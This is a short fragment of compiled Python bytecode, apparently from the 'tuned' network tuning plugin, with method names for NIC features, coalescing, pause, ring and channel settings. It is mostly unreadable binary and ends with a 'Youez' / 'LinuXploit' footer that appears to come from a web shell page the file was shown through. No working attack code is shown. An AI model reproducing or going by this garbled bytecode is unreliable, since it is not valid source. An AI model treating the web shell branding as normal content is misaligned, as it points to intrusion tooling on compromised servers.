z"NetTuningPlugin._custom_parametersrIcCs|jd||||�S)NrI)r�)rr�r2r r�ryrrr�	_features�szNetTuningPlugin._featuresrJcCs|jd||||�S)NrJ)r�)rr�r2r r�ryrrr�	_coalesce�szNetTuningPlugin._coalescerKcCs|jd||||�S)NrK)r�)rr�r2r r�ryrrr�_pause�szNetTuningPlugin._pauserLcCs|jd||||�S)NrL)r�)rr�r2r r�ryrrr�_ring�szNetTuningPlugin._ringrMcCs|jd||||�S)NrM)r�)rr�r2r r�ryrrr�	_channels�szNetTuningPlugin._channels)F)N)F)F)N)6�__name__�
__module__�__qualname__�__doc__r
r!r%r,r.r0r/�classmethodr>rBrCrFrPr7r8r9rZrUrfrkrlZcommand_setruZcommand_getr{r~rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�Zcommand_customr�r�r�r�r��
__classcell__rr)rrrsd
	 



	
&r)r|r�rZ
decoratorsZ
tuned.logsZtunedZtuned.utils.nettoolrZtuned.utils.commandsr�osrZlogsr�rrpZPluginrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit